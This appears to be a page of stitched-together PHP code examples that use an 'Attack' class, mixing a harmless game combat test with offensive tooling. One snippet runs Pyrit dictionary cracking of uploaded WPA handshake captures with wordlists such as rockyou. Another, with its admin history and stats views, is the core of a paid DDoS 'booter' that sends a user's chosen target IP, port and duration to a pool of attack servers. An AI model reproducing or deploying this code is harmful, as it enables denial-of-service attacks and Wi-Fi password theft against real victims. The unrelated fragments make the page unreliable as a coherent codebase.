/**
  * @test
  * @covers Brute::createAttack
  */
 public function attackCanBeCreatedWithStunningBlow()
 {
     $oneRandomiser = new Randomiser(1);
     $attack = $this->weakCombatant->createAttack($oneRandomiser);
     $expectedAttack = new Attack($this->weakCombatant->getStrength());
     $expectedAttack->setStunning(true);
     $this->assertInstanceOf('Attack', $attack);
     $this->assertTrue($attack->isStunning());
     $this->assertEquals($expectedAttack, $attack);
 }
 public function receiveAttack(Attack $attack)
 {
     if ($this->dodgedAttack()) {
         $attack->missed();
     } else {
         $attack->applyDefence($this->getDefence());
         $attack = $this->receiveBlow($attack);
         $this->setStunned($attack->isStunning());
     }
     return $attack;
 }
 public function receiveAttack(Attack $attack)
 {
     if ($this->dodgedAttack()) {
         $attack->missed();
         $attack->setRetaliation($this->getBlowFactory()->createRetaliation(10));
     } else {
         $attack->applyDefence($this->getDefence());
         $attack = $this->receiveBlow($attack);
         $this->setStunned($attack->isStunning());
     }
     return $attack;
 }
Beispiel #4
0
<?php

require_once "Wicker.php";
require_once "CapFile.class.php";
require_once "Attack.class.php";
$cmd = $_GET['cmd'];
$id = $_GET['id'];
$attack_type = $_GET['attack'];
if (is_null($cmd) || is_null($id)) {
    header('Location: view.php?id=' . $_GET['id']);
    die;
}
$attack = Attack::fromDB($_GET['id'], $_GET['attack']);
if ($cmd == "execute") {
    $dictionaries = array("10k most common.txt", "rockyou.txt", "small", "Custom-WPA", "Super-WPA", "big", "bigger", "combined", "eight");
    $cap = CapFile::fromDB($id);
    $attack->setTmpfile($wicker->newGUID());
    system($wicker->config->getPyrit() . " -i \"dictionaries/" . $dictionaries[$attack_type - 1] . "\" -r \"uploads/" . $cap->getLocation() . "\" attack_passthrough > \"logs/" . $attack->getTmpFile() . "\" &");
    exec("ps aux | grep '" . $cap->getLocation() . "' | grep -v grep | awk '{ print \$2 }' | tail -1", $out);
    $attack->setPID($out[0]);
    $attack->setStatus(1);
} else {
    if ($cmd == "terminate") {
        $attack->terminate();
    } else {
        if ($cmd == "pause") {
            posix_kill($attack->getPID(), 19);
            $attack->setStatus(5);
        } else {
            if ($cmd == "resume") {
                posix_kill($attack->getPID(), 18);
Beispiel #5
0
<?php

require_once "Attack.class.php";
$type = $_GET['type'];
$data = array();
switch ($type) {
    case "cap":
        for ($a = 1; $a <= 9; $a++) {
            unset($attack);
            $attack = Attack::fromDB($_GET['id'], $a);
            $attack->updateData();
            $data[$a]['status'] = $attack->getStatus();
            $data[$a]['password'] = $attack->getPassword();
            $data[$a]["complete"] = sprintf("%.2f", round($attack->getCurrent() / $attack->getDictionarySize() * 100, 2));
            $data[$a]["rate"] = number_format($attack->getRate());
            $data[$a]["runtime"] = $attack->getRuntime();
            if ($attack->getRate() != 0 && $attack->getStatus() == 1) {
                $days = (int) (gmdate("d", round(($attack->getDictionarySize() - $attack->getCurrent()) / $attack->getRate())) - 1);
                if ($days < 10) {
                    $days = "0" . $days;
                }
                $data[$a]["etc"] = $days . gmdate(":H:i:s", round(($attack->getDictionarySize() - $attack->getCurrent()) / $attack->getRate()));
            } else {
                $data[$a]["etc"] = "00:00:00:00";
            }
        }
        break;
    case "system":
        $name = array("CPU1", "CPU2", "CPU3", "CPU4", "GPU", "Uptime", "1m", "5m", "15m", "Uploads", "Logs", "Scans");
        for ($i = 0; $i < count($name); $i++) {
            $data[$name[$i]] = $wicker->status()[$i];
Beispiel #6
0
 public function get_history()
 {
     return View::make('page.admin.booter.history')->with('history', Attack::order_by('created_at', 'DESC')->paginate(250));
 }
Beispiel #7
0
 public function get_getstats()
 {
     $data = array(Server::count(), Server::getOnline(), Attack::count(), Attack::where(DB::raw('(created_at + INTERVAL time SECOND)'), '>', DB::raw('NOW()'))->count(), User::count(), User::where(DB::raw('updated_at'), '>', DB::raw('NOW() - INTERVAL 10 MINUTE'))->count(), User::where(DB::raw('DATE(plan_expiry_date)'), '>', DB::raw('CURDATE()'))->count());
     return json_encode($data);
 }
Beispiel #8
0
                                    <th>Action</th>
                                    <th>Dictionary</th>
                                    <th>Status</th>
                                    <th>Dictionary size</th>
                                    <th>Rate (w/s)</th>
                                    <th>Run Time</th>
                                    <th>ETC</th>
                                </tr>
                            </thead>
                            <tbody>

<?php 
for ($a = 1; $a <= 9; $a++) {
    unset($status);
    unset($runtime);
    $attack = Attack::fromDB($cap->getID(), $a);
    $attack->updateData();
    echo "<tr id=\"{$a}\">";
    ?>
                                    <td id="actions">
                                        <div class="btn-group">
                                            <button type="button" onclick="execute(<?php 
    echo $a;
    ?>
)" class="btn btn-default">Execute</button>
                                            <button type="button" onclick="pauseToggle(<?php 
    echo $a;
    ?>
)" class="btn btn-default">Pause</button>
                                            <button type="button" onclick="terminate(<?php 
    echo $a;
Beispiel #9
0
 public function boot($host, $time, $port, $method)
 {
     set_time_limit(800);
     if (!Auth::check()) {
         return View::make('msg.errormn')->with('error', 'You are not logged in.');
     }
     if (Booter::status() == false) {
         return View::make('msg.errormn')->with('error', 'The booter is currently offline, try again later.');
     }
     if (Server::count() == 0) {
         return View::make('msg.errormn')->with('error', 'There are no servers to boot with.');
     }
     if (Auth::user()->hasPlanExpired()) {
         return View::make('msg.errormn')->with('error', 'Your plan has expired.');
     }
     if (empty($host) || !filter_var($host, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)) {
         return View::make('msg.errormn')->with('error', 'Invalid target IP address.');
     }
     if (Blacklist::where('ip', '=', $host)->count() > 0 || $host == $_SERVER['SERVER_ADDR'] || $host == gethostbyname(gethostname()) || Custblacklist::where('type', '=', 'ip')->where('blacklist', '=', $host)->count() > 0) {
         return View::make('msg.errormn')->with('error', 'This host is blocked from being attacked.');
     }
     if (empty($time) || !is_numeric($time)) {
         return View::make('msg.errormn')->with('error', 'Invalid time.');
     }
     if (empty($port) || !is_numeric($port)) {
         return View::make('msg.errormn')->with('error', 'Invalid port.');
     }
     if ($time > Auth::user()->time) {
         return View::make('msg.errormn')->with('error', 'Your max boot time is ' . Auth::user()->time . ' seconds.');
     }
     if ($time < 1) {
         return View::make('msg.errormn')->with('error', 'Boot for at least 1 second.');
     }
     if ($method != 'stop') {
         if (!Auth::user()->concurrentCheck()) {
             return View::make('msg.errormn')->with('error', 'You already have ' . Auth::user()->concurrent . ' attacks running, you can start your next attack in ' . Auth::user()->secondsToAttackFinish() . ' seconds.');
         }
     }
     //Get all methods
     $settings = parse_ini_file('application/config/config.ini');
     $m = $settings['methods'];
     $m = explode(',', $m);
     for ($i = 0; $i < count($m); $i++) {
         $methods[$i] = $m[$i];
     }
     $methods['stop'] = 'stop';
     if (empty($methods[$method])) {
         return View::make('msg.errormn')->with('error', 'Invalid method.');
     }
     if ($method != 'stop') {
         Attack::create(array('user_id' => Auth::user()->id, 'user_ip' => $_SERVER['REMOTE_ADDR'], 'ip' => $host, 'time' => $time, 'port' => $port, 'method' => strtolower($methods[$method])));
     }
     $mh = curl_multi_init();
     $ch3 = array();
     $cnt = Server::count();
     $servers = Server::all();
     for ($i = 0; $i < $cnt; $i++) {
         $server = $servers[$i];
         $url = $server->url . '?' . $server->host . '=' . $host . '&' . $server->time . '=' . $time . '&' . $server->port . '=' . $port . '&' . $server->method . '=' . strtolower($methods[$method]) . '&' . $server->custom;
         $ch3[$i] = curl_init($url);
         curl_setopt($ch3[$i], CURLOPT_RETURNTRANSFER, 1);
         curl_multi_add_handle($mh, $ch3[$i]);
     }
     $running = NULL;
     do {
         $mrc = curl_multi_exec($mh, $running);
     } while ($running > 0);
     return true;
 }